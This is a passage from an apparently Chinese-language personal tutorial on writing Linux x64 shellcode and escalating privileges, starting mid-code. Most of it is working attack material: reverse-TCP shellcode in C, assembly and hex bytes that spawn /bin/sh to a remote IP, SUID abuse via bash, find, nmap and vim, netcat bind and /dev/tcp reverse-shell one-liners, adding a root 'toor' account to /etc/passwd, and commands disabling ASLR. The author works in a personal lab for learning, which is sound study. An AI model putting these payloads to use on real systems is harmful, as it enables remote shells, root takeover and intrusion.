"\x55\x48\x89\xe5\x48\x83\xec\x40\x48\xb8\x35\x35\x36\x36\x41\x41\x41\x41\x50\x48\xb8\x31\x38\x38\x2e\x31\x34\x31\x41\x50\x48\xb8\x31\x39\x32\x2e\x31\x36\x38\x2e\x50\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x41\x50\x48\xb8\x74\x63\x61\x74\x41\x2d\x65\x41\x50\x48\xb8\x74\x2f\x73\x72\x63\x2f\x6e\x65\x50\x48\xb8\x6c\x73\x2f\x6e\x65\x74\x63\x61\x50\x48\xb8\x6b\x75\x72\x61\x2f\x74\x6f\x6f\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x61\x50\x80\x74\x24\x24\x41\x80\x74\x24\x27\x41\x80\x74\x24\x2f\x41\x80\x74\x24\x3f\x41\x80\x74\x24\x47\x41\x80\x74\x24\x46\x41\x80\x74\x24\x45\x41\x80\x74\x24\x44\x41\x48\x31\xc0\x48\x89\xe7\x50\x48\x8d\x5f\x40\x53\x48\x8d\x5f\x30\x53\x48\x8d\x5f\x28\x53\x48\x8d\x5f\x25\x53\x57\x48\x89\xe6\x48\x31\xd2\x04\x3b\x0f\x05";
int (*ret)() = (int(*)())shellcode;
ret();
}
*/
/*
Usage:
sakura@Kylin:~/文档/execveDir$ gcc rev_tcp.c -o rev_tcp -fno-stack-protector -z execstack -w
sakura@Kylin:~/文档/execveDir$ ./rev_tcp
*/
5.4 用系统调用建立连接来反弹shell
参考: osx x64 reverse tcp shellcode (131 bytes)
linux c语言用socket实现简单的服务器客户端交互
2022-08-29-Linux C 中connect函数用法及注意事项
#include<unistd.h>
#include<sys/socket.h> //构造socket所需的库
#include<netinet/in.h> //定义sockaddr结构
int main()
{
char *shell[2]; //用于execv调用
int soc,remote; //文件描述符句柄
struct sockaddr_in serv_addr; //保存IP/端口值的结构
soc=socket(2, 1, 0);
//192.168.188.141-->0x8dbca8c0
serv_addr.sin_addr.s_addr=0x8dbca8c0; //将socket的地址设置为所有本地地址
serv_addr.sin_port=0xbe15; //设置socket的端口5566
serv_addr.sin_family=2; //设置协议族:IPv4
remote=connect(soc,(struct sockaddr *)&serv_addr,0x10);
dup2(soc,0); //将stdin连接client
dup2(soc,1); //将stdout连接client
dup2(soc,2); //将strderr连接到client
shell[0]="/bin/sh"; //execve的第一个参数
shell[1]=0; //数组的第二个元素为NULL,表示数组结束
execve(shell[0],shell,NULL); //建立一个shell
}
这里我不知道 struct sockaddr_in serv_addr;
结构体在栈上是如何存储的,所以我们来看看它的汇编代码:
Dump of assembler code for function main:
0x00000000000011c9 <+0>: endbr64
0x00000000000011cd <+4>: push rbp
0x00000000000011ce <+5>: mov rbp,rsp
0x00000000000011d1 <+8>: sub rsp,0x40
0x00000000000011d5 <+12>: mov rax,QWORD PTR fs:0x28
0x00000000000011de <+21>: mov QWORD PTR [rbp-0x8],rax
0x00000000000011e2 <+25>: xor eax,eax
0x00000000000011e4 <+27>: mov DWORD PTR [rbp-0x1c],0x8dbca8c0
0x00000000000011eb <+34>: mov WORD PTR [rbp-0x1e],0xbe15
0x00000000000011f1 <+40>: mov WORD PTR [rbp-0x20],0x2
0x00000000000011f7 <+46>: mov edx,0x0
0x00000000000011fc <+51>: mov esi,0x1
0x0000000000001201 <+56>: mov edi,0x2
0x0000000000001206 <+61>: call 0x10d0 <socket@plt>
0x000000000000120b <+66>: mov DWORD PTR [rbp-0x38],eax
0x000000000000120e <+69>: lea rcx,[rbp-0x20]
0x0000000000001212 <+73>: mov eax,DWORD PTR [rbp-0x38]
0x0000000000001215 <+76>: mov edx,0x10
0x000000000000121a <+81>: mov rsi,rcx
0x000000000000121d <+84>: mov edi,eax
0x000000000000121f <+86>: call 0x10c0 <connect@plt>
0x0000000000001224 <+91>: mov DWORD PTR [rbp-0x34],eax
0x0000000000001227 <+94>: mov eax,DWORD PTR [rbp-0x38]
0x000000000000122a <+97>: mov esi,0x0
0x000000000000122f <+102>: mov edi,eax
0x0000000000001231 <+104>: call 0x10a0 <dup2@plt>
0x0000000000001236 <+109>: mov eax,DWORD PTR [rbp-0x38]
0x0000000000001239 <+112>: mov esi,0x1
0x000000000000123e <+117>: mov edi,eax
0x0000000000001240 <+119>: call 0x10a0 <dup2@plt>
0x0000000000001245 <+124>: mov eax,DWORD PTR [rbp-0x38]
0x0000000000001248 <+127>: mov esi,0x2
0x000000000000124d <+132>: mov edi,eax
0x000000000000124f <+134>: call 0x10a0 <dup2@plt>
0x0000000000001254 <+139>: lea rax,[rip+0xda9] # 0x2004
0x000000000000125b <+146>: mov QWORD PTR [rbp-0x30],rax
0x000000000000125f <+150>: mov QWORD PTR [rbp-0x28],0x0
0x0000000000001267 <+158>: mov rax,QWORD PTR [rbp-0x30]
0x000000000000126b <+162>: lea rcx,[rbp-0x30]
0x000000000000126f <+166>: mov edx,0x0
0x0000000000001274 <+171>: mov rsi,rcx
0x0000000000001277 <+174>: mov rdi,rax
0x000000000000127a <+177>: call 0x10b0 <execve@plt>
0x000000000000127f <+182>: mov eax,0x0
0x0000000000001284 <+187>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000001288 <+191>: xor rdx,QWORD PTR fs:0x28
0x0000000000001291 <+200>: je 0x1298 <main+207>
0x0000000000001293 <+202>: call 0x1090 <__stack_chk_fail@plt>
0x0000000000001298 <+207>: leave
0x0000000000001299 <+208>: ret
End of assembler dump.
global _start
section .text
_start:
;Socket
xor rdx, rdx ; zero out rdx
mov rsi, rdx ; AF_NET = 1
inc rsi ; rsi = AF_NET
mov rdi, rsi ; SOCK_STREAM = 2
inc rdi ; rdi = SOCK_STREAM
add ax, 0x29
syscall ; call socket(SOCK_STREAM, AF_NET, 0);
mov r12, rax
sub rsp,0x10
mov dword [rsp+0x4],0x8dbca8c0 ; ip = 192.168.188.141
mov word [rsp+0x2],0xbe15 ; post = 5566
mov word [rsp],0x2
; Connect = 0x2a
mov rdi, rax ; move the saved socket fd into rdi
mov rsi, rsp ; move the saved sock_addr_in into rsi
add dx, 0x10 ; add 0x10 to rdx
xor rax, rax
add ax, 0x2a
syscall ; call connect(rdi, rsi, rdx)
xor rsi, rsi ; zero out rsi
dup:
xor rax, rax
add ax, 0x21 ; move the syscall for dup2 into rax
mov rdi, r12 ; move the FD for the socket into rdi
syscall ; call dup2(rdi, rsi)
cmp rsi, 0x2 ; check to see if we are still under 2
inc rsi ; inc rsi
jbe dup ; jmp if less than 2
;sub r8, 0x1F ; setup the exec syscall at 0x3b
xor rax, rax
add ax, 0x3b ; move the syscall into rax
;exec
xor rdx, rdx ; zero out rdx
mov qword rbx, '//bin/sh' ; '/bin/sh' in hex
shr rbx,0x8 ; shift right to create the null terminator
push rbx
mov rdi, rsp
push rdx
push rdi ; move the command from the stack to rdi
mov rsi, rsp ; zero out rsi
syscall ; call exec(rdi, rsi, 0)
运行以下命令编译并运行程序:
nasm -f elf64 rev_tcp.asm
ld -m elf_x86_64 rev_tcp.o -o rev_tcp
./rev_tcp
接下来提取机器码,并将其插入 c 程序中执行:
for i in $(objdump -d rev_tcp.o | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
#include <stdio.h>
int main()
{
unsigned char shellcode[] = \
"\x48\x31\xd2\x48\x89\xd6\x48\xff\xc6\x48\x89\xf7\x48\xff\xc7\x66\x83\xc0\x29\x0f\x05\x49\x89\xc4\x48\x83\xec\x10\xc7\x44\x24\x04\xc0\xa8\xbc\x8d\x66\xc7\x44\x24\x02\x15\xbe\x66\xc7\x04\x24\x02\x00\x48\x89\xc7\x48\x89\xe6\x66\x83\xc2\x10\x48\x31\xc0\x66\x83\xc0\x2a\x0f\x05\x48\x31\xf6\x48\x31\xc0\x66\x83\xc0\x21\x4c\x89\xe7\x0f\x05\x48\x83\xfe\x02\x48\xff\xc6\x76\xeb\x48\x31\xc0\x66\x83\xc0\x3b\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
int (*ret)() = (int(*)())shellcode;
ret();
}
编译:
gcc rev_tcp.c -o rev_tcp -z execstack -z norelro -no-pie -g
./rev_tcp
6. 提权
参考:
Linux chown命令:修改文件和目录的所有者和所属组
出现 “ /usr/bin/ld: cannot open output file a.out: Permission denied ” 的解决办法
6.1 尝试
前面不是说了一种提权思路吗?
提权思路:在系统文件中找到一个具有777权限的文件,在里面写入我们的提权代码执行,或者是把我们的可执行文件,提升权限执行。
我在实现的时候,却发现,只有777权限还不行,提示权限不够。
按照这篇文章《 出现 “ /usr/bin/ld: cannot open output file a.out: Permission denied ” 的解决办法 》所说这是因为,user 用户无权更改所有者为 root 用户文件。所以我们还需要更改文件的所有者。 Linux chown命令:修改文件和目录的所有者和所属组
但是更改文件所有者,还是需要 root 权限。更改后,,,还是缺少权限。
结果我按照那篇文章的说法,把整个目录的所有者都改成了 sakura,然后就能成功编译了。但是还是无法执行,因为目录中的所有文件所有者都变成了 sakura,所以同时文件的所有者也变成了 sakura。
最后,我看到了这篇文章《 解决链接器错误 - 权限被拒绝 》,说是要解决此问题,请确保程序编译所在的目录具有所需的写入权限。
strace 跟踪还是缺少权限。
6.2 suid 提权
参考: linux——SUID提权
说到这个话题,我们不得不先==介绍一下suid==。
通常来说,Linux运行一个程序,是使用当前运行这个程序的用户权限,这当然是合理的。但是有一些程序比较特殊,比如我们常用的ping命令。
ping需要发送ICMP报文,而这个操作需要发送Raw Socket。在Linux 2.2引入
CAPABILITIES
前,使用Raw Socket是需要root权限的(当然不是说引入CAPABILITIES就不需要权限了,而是可以通过其他方法解决,这个后说),所以你如果在一些老的系统里ls -al $(which ping)
,可以发现其权限是-rwsr-xr-x
,其中有个s位,这就是suid:
root@linux:~# ls -al /bin/ping
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性,上述情况下,普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执行文件设置了suid权限。
设置了s位的程序在运行时,其Effective UID将会设置为这个程序的所有者。比如,/bin/ping
这个程序的所有者是0(root),它设置了s位,那么普通用户在运行ping时其Effective UID就是0,等同于拥有了root权限。
这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID:
- Real UID 执行该进程的用户实际的UID
- Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限)
- Saved UID 在高权限用户降权后,保留的其原本UID(本文中不对这个UID进行深入探讨)
通常情况下Effective UID和Real UID相等,所以普通用户不能写入只有UID=0号才可写的/etc/passwd
;有suid的程序启动时,Effective UID就等于二进制文件的所有者,此时Real UID就可能和Effective UID不相等了。
有的同学说某某程序只要有suid权限,就可以提权,这个说法其实是不准确的。只有这个程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。
SUID提权的思路:运行root用户所拥有的SUID的文件,当其他用户运行该文件的时候就得获得root用户的身份。
以下命令可以发现linux系统上所有SUID的可执行文件
//以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/del/null
find / -user root -perm -4000-exec ls -ldb {} \;
6.2.1 bash
sakura@Kylin:~$ sudo chmod u+s /bin/bash
sakura@Kylin:~$ ll /bin/bash
-rwsr-xr-x 1 root root 1183448 6月 4 2021 /bin/bash*
sakura@Kylin:~$ bash -p
bash-5.0# whoami
root
bash-5.0# id
uid=1000(sakura) gid=1000(sakura) euid=0(root) 组=1000(sakura),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),119(lpadmin),129(sambashare)
bash-5.0# ./addRootUser
bash-5.0# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
。。。。。。
toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh
bash-5.0#
成功提权,可以看到,最后已经添加了 具有root权限的 toor 用户。
6.2.2 nmap
简谈SUID提权 —>nmap
判断nmap版本,nmap -v
,如果版本在2.02至5.21之间,则可以提权
# 下载 nmap 5.21版本
wget https://nmap.org/dist-old/nmap-5.21.tgz
# 解压
tar -xvf nmap-5.21.tgz
# 进入解压后的文件夹,配置环境
./configure
# 执行 make 安装
make
但是当我 ./configure 的时候,报错了
查看 config.log
发现缺少 Scrt1.o,Google后 解决方案
sudo apt-get install libc6-dev
执行后,make 时还是有错误
下面我就直接 copy 简谈SUID提权 —>nmap
在早期nmap版本中,带有交互模式,因而允许用户执行shell命令
使用如下命令进入nmap交互模式:
nmap --interactive
在nmap交互模式中 通过如下命令提权
nmap> !sh
sh-3.2# whoami
root
msf当中也有利用nmap进行提权的模块
exploit/unix/local/setuid_nmap
6.2.3 find
find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。
sakura@Kylin:~$ sudo chmod u+s /bin/find
sakura@Kylin:~$ ll /bin/find
-rwsr-xr-x 1 root root 320160 4月 15 2020 /bin/find*
sakura@Kylin:~/文档$ touch anyfile
sakura@Kylin:~/文档$ find anyfile -exec whoami \;
root
sakura@Kylin:~/文档$
#进入shell
sakura@Kylin:~/文档$ find anyfile -exec "/bin/bash" "-p" \;
sh-5.0# whoami
root
linux一般都安装了nc (存在-e 选项) 我们也可以利用nc 广播或反弹shell。 [TIP]NC不使用-e选项反弹shell
广播shell:
find anyfile -exec nc -lvp 4444 -e '/bin/sh' \;
在攻击机上:
nc 靶机ip 4444
反弹shell
find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;
在攻击机上:
nc -lvvp 4444
6.2.4 vim
利用vim提权的思路是修改etc/passwd文件,为自己添加一个有root权限的用户
saksakura@Kylin:~$ sudo chmod u+s /bin/vim.tiny
sakura@Kylin:~$ vim.tiny /etc/passwd
sakura@Kylin:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
、、、、
hello
sakura@Kylin:~$
7. 关闭ASLR
参考:
配置选项
- 0 = 关闭
- 1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)
- 2 = 全随机。除了1中所述,还有heap。
方法一: 手动修改randomize_va_space文件
# echo 0 > /proc/sys/kernel/randomize_va_space
注意,这里是先进root权限,后执行。不要问为什么sudo echo 0 > /proc/sys/kernel/randomize_va_space为什么会报错
在您的命令中,I/O 重定向
>
由当前 shell 处理。解释器将命令视为 3 个部分:
sudo echo 0
>
/proc/sys/kernel/randomize_va_space
使用
echo
超级用户权限执行,而当前 shell(具有普通用户权限)尝试写入/proc/sys/kernel/randomize_va_space
,因此触发Permission denied
错误。有几种方法可以克服这一点。第一种方法是使用超级用户权限运行 shell 并使用
-c
开关将命令传递给 shell:sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
(您可以
sh
用于 POSIX shell 和bash
Bash)另一种方法是使用
tee
命令。该tee
命令将内容从标准输入复制到标准输出(通常是指“屏幕”)以及列出的文件。因此,以下命令将字符打印A
到标准输出以及文件output1.txt
和output2.txt
.echo A | tee output1.txt output2.txt
在您的问题中,写入
/proc/sys/kernel/randomize_va_space
需要超级用户权限,而echo 0
不需要root。所以,解决方案是:echo 0 | sudo tee /proc/sys/kernel/randomize_va_space >/dev/null
最终重定向以
/dev/null
防止0
打印到屏幕。
方法二: 使用sysctl控制ASLR
$ sysctl -w kernel.randomize_va_space=0
这是一种临时改变随机策略的方法,重启之后将恢复默认。如果需要永久保存配置,需要在配置文件 /etc/sysctl.conf 中增加这个选项。
方法三: 使用setarch控制单个程序的随机化 如果你想历史关闭单个程序的ASLR,使用setarch是很好的选择。setarch命令如其名,改变程序的运行架构环境,并可以自定义环境flag。
setarch `uname -m` -R ./your_program
-R参数代表关闭地址空间随机化(开启ADDR_NO_RANDOMIZE)
方法四: 在GDB场景下,使用set disable-randomization off
在调试特定程序时,可以通过 set disable-randomization
命令开启或者关闭地址空间随机化。默认是关闭随机化的,也就是on状态。
当然,这里开启,关闭和查看的方法看起来就比较正规了。
关闭ASLR:
set disable-randomization on
开启ASLR:
set disable-randomization off
查看ASLR状态:
show disable-randomization